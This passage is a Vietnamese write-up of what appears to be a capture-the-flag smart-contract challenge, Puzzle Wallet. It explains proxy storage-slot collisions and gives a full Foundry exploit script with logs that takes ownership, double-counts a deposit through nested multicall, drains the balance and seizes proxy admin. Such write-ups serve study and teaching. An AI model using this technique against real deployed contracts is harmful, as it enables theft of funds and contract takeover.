not the pending admin"); admin = pendingAdmin; } function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); } } contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances; function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; } modifier onlyWhitelisted() { require(whitelisted[msg.sender], "Not whitelisted"); _; } function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } function addToWhitelist(address addr) external { require(msg.sender == owner, "Not the owner"); whitelisted[addr] = true; } function deposit() external payable onlyWhitelisted { require(address(this).balance <= maxBalance, "Max balance reached"); balances[msg.sender] += msg.value; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success,) = to.call{value: value}(data); require(success, "Execution failed"); } function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success,) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } } ``` Đầu tiên ta cần tìm hiểu khái niệm **Upgradeable Contracts:** Mọi giao dịch được thực hiện trên Ethereum là bất biến và không thể thay đổi hoặc cập nhật. Đây là lợi thế giúp mạng an toàn và giúp mọi người trên mạng xác minh và xác thực các giao dịch. Bên cạnh đó, các nhà phát triển phải đối mặt với các vấn đề khi cập nhật mã hợp đồng của họ vì nó không thể sửa đổi sau khi triển khai trên blockchain. Để giải quyết tình huống trên, upgradeable contracts được đưa ra. Mẫu triển khai này bao gồm hai hợp đồng - A Proxy contract (Storage layer) và Implementation contract (Logic layer). Trong kiến trúc này, người dùng tương tác với hợp đồng logic thông qua hợp đồng proxy và khi có nhu cầu cập nhật mã của hợp đồng logic, địa chỉ của hợp đồng logic sẽ được cập nhật trong hợp đồng proxy cho phép người dùng tương tác với hợp đồng logic mới. ![image alt](https://7795250.fs1.hubspotusercontent-na1.net/hub/7795250/hubfs/Imported_Blog_Media/2Proxy-1-1.png?width=1260&height=141&name=2Proxy-1-1.png) Có một điều cần lưu ý khi triển khai **Upgradeable Contracts**, việc sắp xếp vị trí trong cả hai hợp đồng phải giống nhau vì các vị trí được ánh xạ. Điều đó có nghĩa là khi hợp đồng proxy thực hiện lệnh gọi đến hợp đồng triển khai, các biến lưu trữ của proxy sẽ được sửa đổi và lệnh gọi được thực hiện trong ngữ cảnh của proxy. Đây là nơi việc khai thác của ta bắt đầu. | Slot | PuzzleProxy | PuzzleWallet | | --- | --- | --- | | 0 | pendingAdmin | owner | | 1 | admin | maxBalance | Để trở thành `admin` của *`PuzzleProxy`* ta cần overwrite slot 1 thông qua thay đổi giá trị `admin` hoặc `maxBalance` Điểm khả thi để thay đổi maxBalance: ```solidity function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } ``` Nhưng ta cần là `Whitelisted` của contract. Để làm được điều này ta cần gọi function: ```solidity function addToWhitelist(address addr) external { require(msg.sender == owner, "Not the owner"); whitelisted[addr] = true; } ``` Nhưng tại đây, để function hoạt động ta phải là owner của *`PuzzleWallet`* contract*.* Để làm được điều này ta cần ghi đè address của mình tại `slot0` thông qua `pendingAdmin` hoặc `owner`. Tại contract *`PuzzleProxy`* hàm **`proposeNewAdmin(*address* *_newAdmin*)` sẽ giúp ta thực hiện điều này. Các slot được sao chép nên nếu ta gọi hàm này và truyền vào tham số là địa chỉ ví của ta thì ngay lập tức ta sẽ thành `owner` của *`PuzzleWallet` .* ```solidity console.log(puzzleWallet.whitelisted(0x2b8bed557d4b005212a6703C36B119B07318108B)); puzzleProxy.proposeNewAdmin(0x2b8bed557d4b005212a6703C36B119B07318108B); console.log(puzzleProxy.pendingAdmin()); console.log(puzzleWallet.owner()); ``` ```solidity == Logs == false 0x2b8bed557d4b005212a6703C36B119B0731810 ``` Tiếp đến ta sẽ add bản thân vào Whitelist thông qua hàm `addToWhitelist` ```solidity puzzleWallet.addToWhitelist(0x2b8bed557d4b005212a6703C36B119B07318108B); console.log(puzzleWallet.whitelisted(0x2b8bed557d4b005212a6703C36B119B07318108B)); ``` ```solidity true 0x2b8bed557d4b005212a6703C36B119B07318108B ``` Hiện tại ta đã là owner của contract *`PuzzleWallet`* | Slot | PuzzleProxy | PuzzleWallet | value | | --- | --- | --- | --- | | 0 | pendingAdmin | owner | 0x2b8bed557d4b005212a6703C36B119B07318108B | | 1 | admin | maxBalance | | Để thực hiện hàm `setMaxBalance(*uint256* *_maxBalance*)` ta cần thỏa mãn một điều kiện là *`address*(*this*).balance == 0` hay nói cách khác ta làm càn cạn kiệt lượng ether có trong contract *`PuzzleWallet`* hiện đang có `0.001 ether` . Ta cần xem xét các function ảnh hướng đến `balance` của contract. ```solidity function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success,) = to.call{value: value}(data); require(success, "Execution failed"); } ``` `execute` sẽ `call` đến address `to` với một lượng ether bằng giá trị tham số `value` được truyền vào nhưng điều kiện tiên quyết là `balances[msg.sender] >= value` . Vậy việc cần làm là tìm cách sao cho balances của ta ≥ balances của contract hoặc ta có thể thao túng để làm cho contract nghĩ là như vậy nhưng thực tế thì không phải. Trước tiên balances của ta phải > 0 trước, thông qua hàm: ```solidity function deposit() external payable onlyWhitelisted { require(address(this).balance <= maxBalance, "Max balance reached"); balances[msg.sender] += msg.value; } ``` `deposit` cho phép ta nạp vào một lượng balances bằng với giá trị của `msg.value`. Nếu ta có thể làm sao cho `deposit` nạp cho ta một lượng ether gấp nhiều lần `msg.value` thì ta sẽ thao túng thành công contract. Để làm được điều này ta sẽ thông qua một function khác là `multicall` ```solidity function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success,) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } ``` `multicall` cho phép ta gọi các hàm trong contract nhiều lần trong cùng 1 transaction với mục đích tiết kiệm gas. Đây cũng là lỗ hổng giúp ta thực hiện mục đích đã nêu trên. Như ta thấy bên trong hàm `multicall` biến `depositCalled` được đặt là `false` và chuyển thành `true` khi `deposit` được gọi để ngăn chặn việc gọi `deposit` nhiều lần. Nhưng nếu thay vì gọi `deposit` ta lại gọi chính `multicall` và gọi `deposit` thông qua `multicall` này thì sẽ bypass được cách ngăn chặn ở trên. Có thể hiểu đơn giản như sau: ```solidity multicall(deposit, multicall(deposit)) ``` Như vậy nếu chuyển vào 0.001 ether thì balances của ta tại contract sẽ là 0.002, tổng ether contract có cũng là 0.002 nên ta có thể thực hiện hàm `setMaxBalance` để trở thành admin của proxy. ```solidity bytes[] memory depositSelector = new bytes[](1); depositSelector[0] = abi.encodeWithSelector(puzzleWallet.deposit.selector); bytes[] memory data = new bytes[](2); data[0] = abi.encodeWithSelector(puzzleWallet.deposit.selector); data[1] = abi.encodeWithSelector(puzzleWallet.multicall.selector, depositSelector); puzzleWallet.multicall{value: 0.001 ether}(data); console.log("Current admin: ", puzzleProxy.admin()); puzzleWallet.execute(0x2b8bed557d4b005212a6703C36B119B07318108B, 0.002 ether, ""); console.log("Current admin: ", puzzleProxy.admin()); puzzleWallet.setMaxBalance(uint256(uint160(0x2b8bed557d4b005212a6703C36B119B07318108B))); console.log("New admin: ", puzzleProxy.admin() ``` | Slot | PuzzleProxy | PuzzleWallet | value | | --- | --- | --- | --- | | 0 | pendingAdmin | owner | 0x2b8bed557d4b005212a6703C36B119B07318108B | | 1 | admin | maxBalance | 0x2b8bed557d4b005212a6703C36B119B07318108B | script: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/PuzzleWallet.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitPuzzleWallet is Script { PuzzleWallet public puzzleWallet = PuzzleWallet(payable(0xecFc13955428f8bf05Dd1d768602f563C00b546e)); PuzzleProxy public puzzleProxy = PuzzleProxy(payable(0xecFc13955428f8bf05Dd1d768602f563C00b546e)); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); bytes[] memory depositSelector = new bytes[](1); depositSelector[0] = abi.encodeWithSelector(puzzleWallet.deposit.selector); bytes[] memory data = new bytes[](2); data[0] = abi.encodeWithSelector(puzzleWallet.deposit.selector); data[1] = abi.encodeWithSelector(puzzleWallet.multicall.selector, depositSelector); console.log(puzzleWallet.whitelisted(0x2b8bed557d4b005212a6703C36B119B07318108B)); puzzleProxy.proposeNewAdmin(0x2b8bed557d4b005212a6703C36B119B07318108B); console.log(puzzleProxy.pendingAdmin()); puzzleWallet.addToWhitelist(0x2b8bed557d4b005212a6703C36B119B07318108B); console.log(puzzleWallet.whitelisted(0x2b8bed557d4b005212a6703C36B119B07318108B)); console.log(puzzleWallet.owner()); puzzleWallet.multicall{value: 0.001 ether}(data); console.log("Current admin: ", puzzleProxy.admin()); puzzleWallet.execute(0x2b8bed557d4b005212a6703C36B119B07318108B, 0.002 ether, ""); console.log("Current admin: ", puzzleProxy.admin()); puzzleWallet.setMaxBalance(uint256(uint160(0x2b8bed557d4b005212a6703C36B119B07318108B))); console.log("New admin: ", puzzleProxy.admin()); vm.stopBroadcast(); } } ``` ```solidity == Logs == false 0x2b8bed557d4b005212a6703C36B119B07318108B true 0x2b8bed557d4b005212a6703C36B119B07318108B Current admin: 0x725595BA16E76ED1F6cC1e1b65A88365cC494824 Current admin: 0x725595BA16E76ED1F6cC1e1b65A88365cC494824 New admin: 0x2b8bed557d4b005212a6703C36B119B07318108B ```